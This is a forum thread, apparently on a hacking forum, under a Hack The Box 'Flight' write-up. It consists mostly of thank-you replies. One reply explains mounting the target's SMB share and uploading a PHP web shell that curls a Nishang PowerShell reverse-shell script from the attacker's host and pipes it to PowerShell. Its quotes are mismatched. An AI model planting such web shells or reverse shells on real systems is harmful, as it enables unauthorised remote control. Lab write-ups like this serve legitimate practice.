Flight - HTB [Write-Up]
by - Thursday, January 1, 1970 at 12:00 AM
(November 6, 2022, 04:46 PM)rs4t Wrote: If it helps you, give me reputation please :)


thx
Reply
tsdaaaaaaaaaaaaaaaaaaaaaaaaSDAASDa
Reply
Thank you!! :)
Reply
(November 6, 2022, 04:46 PM)rs4t Wrote: thanks man
Reply
As far as uploading the webshell from /web, I used mount instead of smbclient. 

sudo mount -t cifs \\\\ip\web /mnt/web -o username=c.bum,password={password},domain=flight.htb
then i made a php file which pointed to the nishang invokepowershelltcp.ps1  (which i hosted on my box with python http.server) like this

<?php

SYSTEM('curl {my-ip}/invokepowershelltcp.ps1 | powershell");

?>

I browsed to the site and got the shell quickly
Reply
Thank you so much
Reply
thanks very much
Reply
(November 6, 2022, 04:46 PM)rs4t Wrote: If it helps you, give me reputation please :)


thanks
Reply
(November 6, 2022, 04:46 PM)rs4t Wrote: If it helps you, give me reputation please :)


really
Reply
Thanks! You're the best
Reply


 Users viewing this thread: Flight - HTB [Write-Up]: No users currently viewing.